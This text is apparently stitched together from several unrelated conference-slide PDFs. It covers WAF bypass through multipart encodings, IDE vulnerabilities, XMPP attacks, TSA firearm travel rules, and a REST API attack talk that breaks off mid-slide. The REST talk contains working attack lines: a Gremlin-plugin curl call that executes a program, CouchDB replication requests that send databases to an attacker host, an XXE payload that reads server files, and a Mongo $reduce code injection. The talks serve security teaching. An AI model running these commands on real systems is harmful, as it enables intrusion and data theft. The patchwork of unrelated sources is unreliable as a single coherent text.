号内内容作为filename的取值,这样就可以绕过文件扩展名的检测。
4. Content-Type(Body)
对于⼀些不具有编码解析功能的waf,可以通过对参数值的编码绕过waf。
Charset
对于Java,可以使⽤UTF-16编码。
multipart-parse.md
5/19/2021
31 / 33
flask可以使⽤UTF-7编码。
由于Java代码中,会把文件和非文件参数都⽤org.apache.commons.fileupload.FileItem来存储,所以都
会进⾏解码操作,⽽flask将两者分成了form和files,⽽且files并没⽤使⽤Content-Type中的charset进⾏解码
werkzeug/formparser.py:L564。
其他
multipart-parse.md
5/19/2021
32 / 33
RFC7578中写了⼀些其他form-data的解析⽅式,可以通过_charset_参数指定charset,或者使⽤encoded-
word,但是测试的三种程序都没有做相关的解析,很多只是在邮件中⽤到。
5. Content-Transfer-Encoding
RFC7578明确写出只有三种参数类型可以出现在multipart/form-data中,其他类型MUST被忽略,这⾥的第三种
Content-Transfer-Encoding其实也被废弃。
然⽽在flask代码中发现werkzeug实现了此部分。
multipart-parse.md
5/19/2021
33 / 33
也可以使⽤QUOTED-PRINTABLE编码⽅式。
参考链接
https://github.com/postmanlabs/httpbin
https://www.ietf.org/rfc/rfc1867.txt
https://tools.ietf.org/html/rfc7578
https://tools.ietf.org/html/rfc2046#section-5.1
https://www.php.net/manual/zh/language.variables.external.php
https://www.cnblogs.com/youxin/archive/2012/02/13/2348551.html
https://xz.aliyun.com/t/9432 | pdf |
Worming through IDEs
David Dworken
`whoami`
●
David Dworken (@ddworken)
●
Security Engineer at Google
○
Standard disclaimer: Opinions expressed are my own
●
Hacking in both senses of the word
○
Writing silly useless but interesting code
○
Breaking serious real code for fun
●
I found and reported 30+ bugs in IDEs over a few month period
○
Note: All bugs in this presentation have either been fixed or declared
working-as-intended
Why hack developers?
Production
Why hack developers?
Production
Where developers think the security boundary is
Where developers think the security boundary is
Where IDEs (used to) think the security boundary is
IDEs are popular!
https://insights.stackoverflow.com/survey/2019#technology-_-most-popular-development-environments
VS Code: Trusting Workspace Settings
https://code.visualstudio.com/docs/getstarted/settings
VS Code: Trusting Workspace Settings
Strace is amazing!
https://strace.io/
Finding bugs with Strace
●
Files that don't exist: `cat /tmp/strace.out | grep ENOENT`
○
Oftentimes files that don't exist can be used to tweak a configuration and achieve code execution
●
Files that are accessed: `cat /tmp/strace.out | grep open`
○
Knowing what files are accessed in what order can hint at how a program is processing the input
●
Commands that are run: `cat /tmp/strace.out | grep exec`
○
Look for command injection
○
Look for ways to achieve code execution using the launched programs (e.g. `__init__.py` files)
VS Code: Locally resolved node_modules folder
VS Code: Command Injection
https://github.com/microsoft/vscode/blob/c23285f8c8b73228af4cce81721db105542c0cae/extensions/npm/src/features/packageJSONContribution.ts#L258
Visual Studio: Build Configs
https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio
Note: Visual Studio != Visual Studio Code
Visual Studio: Build Configs
https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio
Note: Visual Studio != Visual Studio Code
Visual Studio: Build Configs
https://docs.microsoft.com/en-us/cpp/build/cmake-projects-in-visual-studio
"This is by design, and there is no way to view scripts in
Visual Studio without also executing them" -Microsoft
Note: Visual Studio != Visual Studio Code
Visual Studio: Similar vuln used in the wild!
https://blog.google/threat-analysis-group/new-campaign-targeting-security-researchers/
Visual Studio: Similar vuln used in the wild!
https://twitter.com/daveaitel/status/1353876096136179718
IntelliJ Vuln: RCE in 2016
http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/
User visits
evil.com
IntelliJ
Open Project
evil.com
Downloads a project
Startup
Task
Execute
IntelliJ Vuln: RCE in 2016
http://blog.saynotolinux.com/blog/2016/08/15/jetbrains-ide-remote-code-execution-and-local-file-disclosure-vulnerability-analysis/
IntelliJ Vuln in 2020: Same Vector as 2016
IntelliJ Vuln in 2020: Same Vector as 2016
"However we haven't decided what the fix should be as here
we need to make a trade-off between security and
convenience" -Jetbrains
VIM Vuln from 2019
https://github.com/numirias/security/blob/master/doc/2019-06-04_ace-vim-neovim.md
Notepad Vuln from 2019
https://twitter.com/taviso/status/1133384839321853954
Online IDEs
●
Google Cloud Shell
●
Azure Visual Studio Codespaces
●
AWS Cloud9
●
Github Codespaces
●
Gitpod.io
Online IDEs
●
Google Cloud Shell
●
Azure Visual Studio Codespaces
●
AWS Cloud9
●
Github Codespaces
●
Gitpod.io
Google Cloud Shell: Ruby Language Server
https://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173
Google
Cloud Shell
Eclipse Theia
Theia Ruby
Extension
Solargraph
Google Cloud Shell: Ruby Language Server
https://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173
Google
Cloud Shell
Eclipse Theia
Theia Ruby
Extension
Solargraph
Google Cloud Shell: TypeScript Language Server
https://github.com/castwide/solargraph/blob/96bce20d6f3757276b247636895ff0faebf646ad/lib/solargraph/workspace.rb#L165-L173
AWS Cloud9: Linting Flags
Github Codespaces: Persisting via Settings Sync
https://github.com/features/codespaces
Github Codespaces: Persisting via Settings Sync
https://github.com/features/codespaces
Github Codespaces: Persisting via Settings Sync
https://github.com/features/codespaces
Writing a worm
Repo 1
Repo 2
Repo 3
Repo 4
Demo
Defenses
https://code.visualstudio.com/docs/editor/workspace-trust
Thank you!
●
Thank you to Amazon, Eclipse, Github, Gitpod, Google, Jetbrains, Microsoft for
working with me to address all of these bugs!
●
POCs: github.com/ddworken/ide-worm
●
Slides: daviddworken.com/worming-through-ides.pdf
●
Inspiration:
https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/
●
Contact Me!
○
[email protected]
○
twitter.com/ddworken
○
keybase.io/dworken
○
linkedin.com/in/ddworken/ | pdf |
The BeEF addons discussed in our talk, Hacking Google Chrome OS, are available at:
http://kyleosborn.com/chrome/ | pdf |
Flying With Firearms
Domestic Laws & Policies
from the TSA’s “Prohibited Items” list…
http://www.tsa.gov/travelers/airtravel/prohibited/permitted-prohibited-items.shtm
Ammunition - Check with your airline or travel agent to see if ammunition is permitted in checked baggage on
the airline you are flying. If ammunition is permitted, it must be declared to the airline at check-in. Small arms
ammunitions for personal use must be securely packed in fiber, wood or metal boxes or other packaging
specifically designed to carry small amounts of ammunition. Ask about limitations or fees, if any, that apply.
Firearms - firearms carried as checked baggage MUST be unloaded, packed in a locked hard sided container to
which no one else has a key, and declared to the airline at check-in.
Flare Guns - May be carried as checked baggage MUST be unloaded, packed in a locked hard sided container
to which no one else has a key, and declared to the airline at check-in.
All of the above may not be kept in carry-on luggage but are acceptable in checked bags. While conventional
ammunition (as seen above) is legal in checked baggage, flares may not be in one’s luggage at all. Also totally
not permitted are un-loaded propellants (gunpowder, black powder, percussion caps) unless they are part of
loaded cartridges properly packed according to the above regulations.
from the TSA’s “Firearms & Ammunition” guidance page…
http://www.tsa.gov/travelers/airtravel/assistant/editorial_1666.shtm
• You must declare all firearms to the airline during check-in.
• Firearms must be unloaded.
• Firearms must be packed in hard-sided containers.
• Said containers must be locked. A locked container is defined as one that completely secures the
firearm from access by anyone other than you.
• If you are not present and a security officer must open the container, we or the airline will make a
reasonable attempt to contact you.
• You must securely pack any ammunition in fiber (such as cardboard), wood, or metal boxes or other
packaging that is specifically designed to carry small amounts of ammunition.
• You can't use firearm magazines/clips for packing ammunition unless they completely and securely
enclose the ammunition (e.g., by securely covering the exposed portions of the magazine or by securely
placing the magazine in a pouch, holder, holster or lanyard).
• You may carry the ammunition in the same hard-sided case as the firearm, as long as you pack it as
described above.
as clarified by a call to the TSA’s public inquiry call center…
on a March 2nd, 2009 call to 866-289-9673 we asked about flare guns and blank-firing weapons
Flare Guns / Blank Guns - “[flare guns] have the same procedure for lethal firearms... the gun case should
be a hard sided container with a lock that only you possess the key to… [blank-firing weapons] should all travel
the same way, in a hard sided container that only you possess the key to, unloaded, and declared.”
as specified by 27 CFR 478.31 - Delivery by common or contract carrier…
http://cfr.vlex.com/vid/31-delivery-common-contract-carrier-19675270
Outside Tags - No common or contract carrier shall require or cause any label, tag, or other written notice to
be placed on the outside of any package, luggage, or other container that such package, luggage, or other
container contains a firearm. | pdf |
.
.
.
.
.
.
.
..
.
.
.
.
eXercise In Messaging and Presence Pwnage
fun with XMPP
Ava Latrope
iSEC Partners
Defcon 17
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
1 / 32
.
.
.
.
.
.
Introduction
Outline
Outline
.. .1
Introduction
The basics
Common Stanzas
...2 The victims
Clients
Servers
.. .3
Attack scenarios
DoS, DoS, and more DoS
XML Parsing
File/Image Upload
...4 Tools
Persimmon Proxy
XMPP Fuzzer
.. .5
Conclusion
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
2 / 32
.
.
.
.
.
.
Introduction
Who am I?
Who am I?
Security Consultant, iSEC Partners
Prior to that, QA automation for various web 2.0 horrors
Eats babies
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
3 / 32
.
.
.
.
.
.
Introduction
The basics
What is XMPP?
eXtensible Messaging and Presence Protocol
Formerly the Jabber project
Specialized XML-based protocols, used for:
content syndication
file sharing
...but, well, still mostly IM.
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
4 / 32
.
.
.
.
.
.
Introduction
The basics
Why am I picking on it?
Ubiquity
Open standard
RFC Process
Many implementation details are at the discretion of the developer
...anyone who’s met a developer should be worried by that sentence
As much fun as you’d expect with regular XML parsing
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
5 / 32
.
.
.
.
.
.
Introduction
The basics
How it works
Decentralized
Addressing via JIDs of the format user@server
TLS encryption and SASL authentication
HTTP binding
XML stream
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
6 / 32
.
.
.
.
.
.
Introduction
The basics
Common Attributes
to - recipient JID
from - sender JID
id
Optional
Generated for tracking purposes
Scope of uniqueness is flexible
type
Specifies purpose of the stanza
Each stanza variety has its own list of acceptable types
xml:lang
Only affects presentation to humans
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
7 / 32
.
.
.
.
.
.
Introduction
Common Stanzas
Info/Query
Request info/receive response
Child element determines data content
Requester tracks by id
Patterned exchange
< iq
type = ” r e s u l t ”
id = ” purplece837cfa ”
to = ” akl−pc1 / acc45887 ” ><bind xmlns = ”
urn:ietf:params:xml:ns:xmpp−bind ” >< j i d >test2@akl−pc1 / acc45887 < / j i d >< / bind>< / iq >
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
8 / 32
.
.
.
.
.
.
Introduction
Common Stanzas
Presence
Publish/subscribe
Many receive updates from one - ’to’ usually omitted
Seen most frequently in IM applications as contact status updates
<presence from= ’ test2@akl−pc1 / acc45887 ’
to = ’ avarice@gmail . com ’ >
<show>away< / show>
< p r i o r i t y >0< / p r i o r i t y >
<c xmlns = ’ h t t p : / / jabber . org / protocol / caps ’ node= ’ h t t p : / / mail . google . com / xmpp / c l i e n t /
caps ’
ver = ’ 1 . 1 ’
ext = ’pmuc−v1 sms−v1 ’ / >
< s t a t u s / >
<x xmlns = ’ vcard−temp:x:update ’ >
<photo / >
< / x>
< / presence >
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
9 / 32
.
.
.
.
.
.
Introduction
Common Stanzas
Message
Fairly self-explanatory concept so long as you’ve ever, say, used email.
<message
type = ’ chat ’
id = ’ purplece837d83 ’
to = ’ test1@akl−pc1 / f9e54d ’ from= ’ test2@akl−pc1 /
acc45887 ’ >
<x xmlns = ’ j a b b e r : x : e v e n t ’ >
<composing / >
< / x>
< a c t i v e
xmlns = ’ h t t p : / / jabber . org / protocol / c h a t s t a t e s ’ / >
<body>?OTR:AAIDAAAAAAEAAAABAAAAwEgF/95+ kxlcd8Z7I3jdNZtw8d8baZIg5uq0FV3JymhEXf5qJV /6
P46yjwABFt4UmUqN8BwK7WnWGHlcxsrAvN/ FJ4oxS0wLYcKRzI / eZ0edIFyhlyZBT17Ou1V2 +67nnczJOGRq+
A6wjz0ayoT1iRm1Dx1ZFLvKfRT3uiwbi8AfNG7uCtQAolGKBBp2h7RBVR95NfOrfx8G5Oh6BacdhslcssY0kC3Lwmo29rNOn
/GVX+9CY0phs8kT+ O5cLedhjI8y / +udYAAAAA. < / body>
<html xmlns = ’ h t t p : / / jabber . org / protocol / xhtml−im ’ >
<body xmlns = ’ h t t p : / /www. w3 . org / 1 9 9 9 / xhtml ’ >?OTR:AAIDAAAAAAEAAAABAAAAwEgF/95+
kxlcd8Z7I3jdNZtw8d8baZIg5uq0FV3JymhEXf5qJV /6P46yjwABFt4UmUqN8BwK7WnWGHlcxsrAvN/
FJ4oxS0wLYcKRzI / eZ0edIFyhlyZBT17Ou1V2 +67nnczJOGRq+
A6wjz0ayoT1iRm1Dx1ZFLvKfRT3uiwbi8AfNG7uCtQAolGKBBp2h7RBVR95NfOrfx8G5Oh6BacdhslcssY0kC3Lwmo29rNOn
/GVX+9CY0phs8kT+ O5cLedhjI8y / +udYAAAAA. < / body>
< / html>
< / message>
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
10 / 32
.
.
.
.
.
.
The victims
Clients
Pidgin
The IM client formerly known as Gaim
Needed something based on libpurple
Obvious choice with 3 Million users
...especially since it’s my default
File transfers
XMPP console
http://www.pidgin.im/
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
11 / 32
.
.
.
.
.
.
The victims
Clients
Spark
Complement to openfire server
Voice integration
Representative of no-frills clients
http://www.igniterealtime.org/projects/spark/index.jsp
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
12 / 32
.
.
.
.
.
.
The victims
Clients
Gajim
GTK+
File transfer
Multi-protocol transports
http://www.gajim.org/
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
13 / 32
.
.
.
.
.
.
The victims
Clients
Gtalk
Skynet Google’s pet XMPP project
Jingle
Mobile versions
Offline Messaging
http://www.google.com/talk/
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
14 / 32
.
.
.
.
.
.
The victims
Servers
Openfire
Formerly known as Wildfire
Popular on corporate networks
User-friendly, easy to configure
Admin web interface
http://www.igniterealtime.org/projects/openfire/
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
15 / 32
.
.
.
.
.
.
The victims
Servers
JabberD14
Modular, certain features can be installed independently
Written in C/C++
Complex configuration requires messing directly with XML
Waning in popularity
http://jabberd.org/
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
16 / 32
.
.
.
.
.
.
The victims
Servers
JabberD2
Different codebase from JabberD14
Appear to have kept the project name just to be confusing
Main distinction seems to be that they’re compliant with more RFCs
than the original
http://codex.xiaoka.com/wiki/jabberd2:start
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
17 / 32
.
.
.
.
.
.
Attack scenarios
DoS, DoS, and more DoS
DoS
Excessive presence traffic makes for high overhead
Endemic scalability issues in XMPP
Parser errors tend to be ungraceful
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
18 / 32
.
.
.
.
.
.
Attack scenarios
DoS, DoS, and more DoS
DoS Demo
[DoS demo goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
19 / 32
.
.
.
.
.
.
Attack scenarios
XML Parsing
XML Parsing
Stanza-specific requirements
Control characters
Affects on DoS
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
20 / 32
.
.
.
.
.
.
Attack scenarios
XML Parsing
XML Parsing Demo
[XML parsing demo goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
21 / 32
.
.
.
.
.
.
Attack scenarios
File/Image Upload
File/Image Upload
No restrictions on file type
Relatively new to most feature sets
Image insertion
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
22 / 32
.
.
.
.
.
.
Attack scenarios
File/Image Upload
File/image Upload Demo
[File/image upload demo goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
23 / 32
.
.
.
.
.
.
Tools
Persimmon Proxy
Features
HTTP and XMPP
Intercept mode
Manual edit
Command replay
Multiple concurrent listeners
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
24 / 32
.
.
.
.
.
.
Tools
Persimmon Proxy
Persimmon Proxy Demo
[Persimmon Proxy demo goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
25 / 32
.
.
.
.
.
.
Tools
Persimmon Proxy
Download
[Download information goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
26 / 32
.
.
.
.
.
.
Tools
XMPP Fuzzer
Features
Contains all attacks presented here
GUI interface
Customization of attacks
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
27 / 32
.
.
.
.
.
.
Tools
XMPP Fuzzer
XMPP Fuzzer Demo
[XMPP Fuzzer demo goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
28 / 32
.
.
.
.
.
.
Tools
XMPP Fuzzer
Download
[Download information goes here]
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
29 / 32
.
.
.
.
.
.
Conclusion
Summary
Summary
XMPP bugs are still out there
Here are some tools to help make that more obvious
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
30 / 32
.
.
.
.
.
.
Conclusion
Resources
Resources
XMPP Foundation
http://xmpp.org/
XMPP: The Definitive Guide: Building Real-Time Applications
with Jabber Technologies
Peter Saint-Andre, Kevin Smith, Remko Tronon
2009
Programming Jabber: Extending XML Messaging
DJ Adams
2002
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
31 / 32
.
.
.
.
.
.
Conclusion
Questions
Questions?
https://www.isecpartners.com
Ava Latrope (iSEC Partners)
eXercise In Messaging and Presence Pwnage
Defcon 17
32 / 32 | pdf |
RESTing On Your Laurels Will Get
You Pwned
By Abraham Kang, Dinis Cruz, and
Alvaro Munoz
Goals and Main Point
• Originally a 2 hour presentation so we will only
be focusing on identifying remote code execution
and data exfiltration vulnerabilities through REST
APIs.
• Remember that a REST API is nothing more than
a web application which follows a structured set
of rules.
– So all of the previous application vulnerabilities still
apply: SQL Injection, XSS, Direct Object Reference,
Command Injection, etc.
• We are going to show you how remote code
execution and data filtration manifest themselves
in REST APIs.
Causes of REST Vulnerabilities
• Location in the trusted network of your data center
• History of REST Implementations
• SSRF (Server Side Request Forgery) to Internal REST
APIs
• URLs to backend REST APIs are built with
concatenation instead of URIBuilder (Prepared URI)
• Self describing and predicable nature
• Inbred Architecture
• Extensions in REST frameworks that enhance
development of REST functionality at the expense of
security
• Incorrect assumptions of application behavior
• Input types and interfaces
REST History
• Introduced to the world in a PHD dissertation by
Roy Fielding in 2000.
• Promoted HTTP methods (PUT, POST, GET,
DELETE) and the URL itself to communicate
additional metadata as to the nature of an HTTP
request.
• GET
http://svr.com/customers/123
• PUT
http://svr.com/customers/123
Http Method
Database Operation
PUT
Update
POST
Insert
GET
Select
DELETE
Delete
REST History (Bad Press)
• When REST originally came out, it was harshly
criticized by the security community as being
inherently unsafe.
– As a result REST, applications were originally
developed to only run on internal networks (non-
public access).
• This allowed developers to develop REST APIs in a kind
of “Garden of Eden”
– This also encouraged REST to become a popular
interface for internal backend systems.
– Once developers got comfortable with REST
internal applications they are now RESTifying all
publically exposed application interfaces
Attacking Backend Systems (Trad Method)
FW
Internet
BH2
FW
AS2
SAP
FW
Internet
BH5
FW
AS5
…
FW
Internet
BH4
FW
AS4
ERP
FW
BH1
FW
AS1
Oracle
FW
Internet
BH3
FW
AS3
MS
SQL
Attacker
Mongo
Couch
Neo4j
Cassan
LDAP/
AD
HBase
EAI
EII
ESB
Http Protocol (proprietary protocols are different colors)
…
Attacking An Internal Network (Trad Method)
•
Pwn the application server
•
Figure out which systems are
running on the internal
network and target a data rich
server. (Port Scanning and
Fingerprinting)
•
Install client protocol binaries
to targeted system (in this case
SAP client code) or mount
network attacks directly.
•
Figure out the correct
parameters to pass to the
backend system by sniffing the
network, reusing credentials,
using default userids and
passwords, bypassing
authentication, etc.
AS1
Oracle
X
Non-compromised machine
Y
Compromised/Pwned machine
AS2
SAP
AS5
…
AS4
ERP
AS3
MS
SQL
Mongo
Couch
Neo4j
Cassan
LDAP/
AD
HBase
EAI
EII
ESB
…
Attacking An Internal Network (REST style)
•
Find an HTTP REST proxy w/ vulns
•
Figure out which REST based
systems are running on the internal
network
•
Exfiltrate data from the REST
interface of the backend system or
•
Get RCE on an internal REST API
•
What backend systems have a REST
API that we can attack:
–
ODATA in MS SQL Server
–
Beehive and OAE RESTful API
–
Neo4j, Mongo, Couch, Cassandra, HBase,
your company, and many more
SAP REST API
SAP
AS5
…
Pub REST API
Mongo
Couch
Neo4j
Cassan
HBase
…
X
Non-compromised machine
Y
Affected machine
REST
API
REST
API
REST
API
REST
API
REST
API
REST
API
REST
EAI
EII
ESB
SSRF (Server Side Request Forgery) to
Internal REST APIs
• Attackers can take advantage of any server-side
request forwarding or server-side request
proxying mechanisms to attack internal-only
REST APIs.
– Examples: RFI through PHP include(), REST framework
specific proxy (RESTlet Redirector), XXE, WS-*
protocols, etc.
• Most internal REST APIs are using basic auth over
SSL. So you can use the same attacks above to
find the basic auth credentials on the file system
and embed them in the URL:
– http://user:[email protected]/xxx...
URLs to backend REST APIs are built with concatenation
instead of URIBuilder (Prepared URI)
• Most publically
exposed REST APIs turn
around and invoke
internal REST APIs
using URLConnections,
Apache HttpClient or
other REST clients. If
user input is directly
concatenated into the
URL used to make the
backend REST request
then the application
could be vulnerable to
Extended HPPP.
Pub REST API
DB
Internal
REST API
What to Look For
• new URL (“http://yourSvr.com/value” + var);
• new Redirector(getContext(), urlFromCookie,
MODE_SERVER_OUTBOUND );
• HttpGet(“http://yourSvr.com/value” + var);
• HttpPost(“http://yourSvr.com/value” + var);
• restTemplate.postForObject( ”http://localhost
:8080/Rest/user/” + var, request, User.class );
• ...
Extended HPPP (HTTP Path & Parameter Pollution)
•
HPP (HTTP Parameter Pollution) was discovered by Stefano di Paola and
Luca Carettoni in 2009. It utilized the discrepancy in how duplicate
request parameters were processed to override application specific
default values in URLs. Typically attacks utilized the “&” character to
fool backend services in accepting attacker controlled request
parameters.
•
Extended HPPP utilizes matrix and path parameters, JSON injection and
path segment characters to change the underlying semantics of a REST
URL request.
– “#” can be used to remove ending URL characters similar to “--” in SQL
Injection and “//” in JavaScript Injection
– “../” can be used to change the overall semantics of the REST request in
path based APIs (vs query parameter based)
– “;” can be used to add matrix parameters to the URL at different path
segments
– The “_method” query parameter can be used to change a GET request to a
PUT, DELETE, and sometimes a POST (if there is a bug in the REST API)
– Special framework specific query parameters allow enhanced access to
backend data through REST API. The “qt” parameter in Apache Solr
– JSON Injection is also used to provide the necessary input to the
application receiver.
Extended HPPP (Apply Your Knowledge I)
String entity = request.getParameter(“entity”);
String id = request.getParameter(“id”);
URL urlGET = new
URL(“http://svr.com:5984/customers/” + entity +
“?id=“ + id );
Change it to a PUT to the following URL
http://svr.com:5984/admin
REST is Self Describing and Predictable
• What URL would you first try when gathering
information about a REST API and the system
that backs it?
REST is Self Describing and Predictable
• What URL would you first try when gathering
information about a REST API and the system that
backs it?
– http://host:port/
• Compare this to:
– Select * from all_tables (in Oracle)
– sp_msforeachdb 'select "?" AS db, * from [?].sys.tables'
(SQL Server)
– SELECT DISTINCT TABLE_NAME FROM
INFORMATION_SCHEMA.COLUMNS WHERE
COLUMN_NAME IN ('columnA','ColumnB') AND
TABLE_SCHEMA='YourDatabase'; (My SQL)
– Etc.
Especially for NoSQL REST APIs
• All of the following DBs have REST APIs which
closely follow their database object structures
– HBase
– Couch DB
– Mongo DB
– Cassandra.io
– Neo4j
HBase REST API
• Find all the tables in the Hbase Cluster:
– http://host:9000/
• Find the running HBase version:
– http://host:9000/version
• Find the nodes in the HBase Cluster:
– http://host:9000/status/cluster
• Find a description of a particular table’s
schema(pick one from the prior link):
– http://host:port/profile/schema
Couch DB REST API
• Find Version
– http://host:5984
• Find all databases in the Couch DB:
– http://host:5984/_all_dbs
• Find all the documents in the Couch DB:
– http://host:5984/{db_name}/_all_docs
Neo4j REST API
• Find version and extension information in the
Neo4j DB:
– http://host:7474/db/data/
Mongo DB REST API
• Find all databases in the Mongo DB:
– http://host:27080/
– http://host:27080/api/1/databases
• Find all the collections under a named database
({db_name}) in the Mongo DB:
– http://host:27080/api/1/database/{db_name}/collect
ions
Cassandra.io REST API
• Find all keyspaces in the Cassandra.io DB:
– http://host:port/1/keyspaces
• Find all the column families in the
Cassandra.io DB:
– http://host:port/1/columnfamily/{keyspace_name
}
Inbred Architecture
• Externally exposed
REST APIs typically use
the same
communication
protocol (HTTP) and
REST frameworks that
are used in internal
only REST APIs.
• Any vulnerabilities
which are present in
the public REST API
can be used against
the internal REST APIs.
Pub REST API
Internal DB
Internal REST
API
Extensions in REST frameworks that enhance
development of REST functionality at the expense
of security
• Turns remote code execution and data exfiltration
from a security vulnerability into a feature.
– In some cases it is subtle:
• Passing in partial script blocks used in evaluating the processing
of nodes.
• Passing in JavaScript functions which are used in map-reduce
processes.
– In others it is more obvious:
• Passing in a complete Groovy script which is executed as a part
of the request on the server. Gremlin Plug-in for Neo4j.
• Passing in the source and target URLs for data replication
Rest Extensions Remote Code
Execution(Demo)
• curl -X POST
http://localhost:7474/db/data/ext/GremlinPlugi
n/graphdb/execute_script -d
'{"script":"import java.lang.Runtime;rt =
Runtime.getRuntime().exec(\"c:/Windows/System3
2/calc.exe\")", "params": {} }'
-H "Content-Type: application/json"
Rest Extensions Data Exfiltration Example
(Couch DB)
• curl –X POST
http://internalSrv.com:5984/_replicate –d
‘{“source”:”db_name”,
“target”:”http://attackerSvr.com:5984/corpData”
}’ –H “Content-Type: application/json”
• curl –X POST http://srv.com:5984/_replicate –d
‘{“source”:”http://anotherInternalSvr.com:5984/
db”,
“target”:”http://attackerSvr.com:5984/corpData”
}’ –H “Content-Type: application/json”
Rest Extensions Data Exfiltration Apply
Your Knowledge(Couch DB)
String id = request.getParameter(“id”);
URL urlPost = new
URL(“http://svr.com:5984/customers/” + id);
String name = request.getParameter(“name”);
String json = “{\”fullName\”:\”” + name + “\”}”;
How can you exfiltrate the data given the above?
Rest Extensions Data Exfiltration Apply
Your Knowledge(Couch DB)
String id = request.getParameter(“id”);
URL url = new
URL(“http://svr.com:5984/customers/../_replicate”);
String name = request.getParameter(“name”);
String json = “{\”fullName\”:\”X\”,
\”source\”:\”customers\”,
\”target\”:\”http://attackerSvr.com:5984/corpData\”}”;
Attacker provides:
id = “../_replicate”
name = ‘X”, “source”:”customers”,
“target”:”http://attackerSvr.com:5984/corpData’
Reliance on incorrectly implemented
protocols (SAML, XML Signature, XML
Encryption, etc.)
• SAML, XML Signature, XML Encryption can be subverted
using wrapping based attacks.*
See: How to Break XML Encryption by Tibor Jager and Juraj
Somorovsky, On Breaking SAML: Be Whoever You Want to Be
by Juraj Somorovsky, Andreas Mayer, Jorg Schwenk, Marco
Kampmann, and Meiko Jensen, and How To Break XML
Signature and XML Encryption by Juraj Somorovsky (OWASP
Presentation)
Incorrect assumptions of REST
application behavior
• REST provides for dynamic URLs and dynamic
resource allocation
REST provides for dynamic URLs and
dynamic resource allocation
Example Case Study
• You have an Mongo DB REST API which exposes two
databases which can only be accessed at /realtime/*
and /predictive/*
• There are two static ACLs which protect all access to
each of these databases
<web-resource-name>Realtime User</web-resource-name> <url-
pattern>/realtime/*</url-pattern>
<web-resource-name>Predictive Analysis User</web-resource-name>
<url-pattern>/predicitive/*</url-pattern>
Can anyone see the problem? You should be able to
own the server with as little disruption to the existing
databases.
Example Case Study Exploit
• The problem is not in the two databases. The
problem is that you are working with a REST API
and resources are dynamic.
• So POST to the following url to create a new
database called test which is accessible at
“/test”:
POST http://svr.com:27080/test
• Then POST the following:
POST http://svr.com:27080/test/_cmd
– With the following body:
cmd={…, “$reduce”:”function (obj, prev) {
malicious_code() }” …
REST Input Types and Interfaces
• Does anyone know what the main input types
are to REST interfaces?
REST Input Types and Interfaces
• Does anyone know what the main input types
are to REST interfaces?
– XML and JSON
XML Related Vulnerabilities
• When you think of XML--what vulnerabilities
come to mind?
XML Related Vulnerabilities
• When you think of XML--what vulnerabilities
come to mind?
– XXE (eXternal XML Entity Injection) / SSRF (Server
Side Request Forgery)
– XSLT Injection
– XDOS
– XML Injection
– XML Serialization
XXE (File Disclosure and Port Scanning)
• Most REST interfaces take raw XML to de-serialize into method
parameters of request handling classes.
• XXE Example when the name element is echoed back in the
HTTP response to the posted XML which is parsed whole by the
REST API:
<?xml encoding=“utf-8” ?>
<!DOCTYPE Customer [<!ENTITY y SYSTEM ‘../WEB-INF/web.xml’>
]>
<Customer>
<name>&y;</name>
</Customer>
*See Attacking <?xml?> processing by Nicolas Gregoire (Agarri)
and XML Out-of-Band Data Retrieval by Timur Yunusov and Alexey
Osipov
XXE (Remote Code Execution)
• Most REST interfaces take raw XML to de-serialize into method
parameters of request handling classes.
• XXE Example when the name element is echoed back in the
HTTP response to the posted XML which is parsed whole by the
REST API:
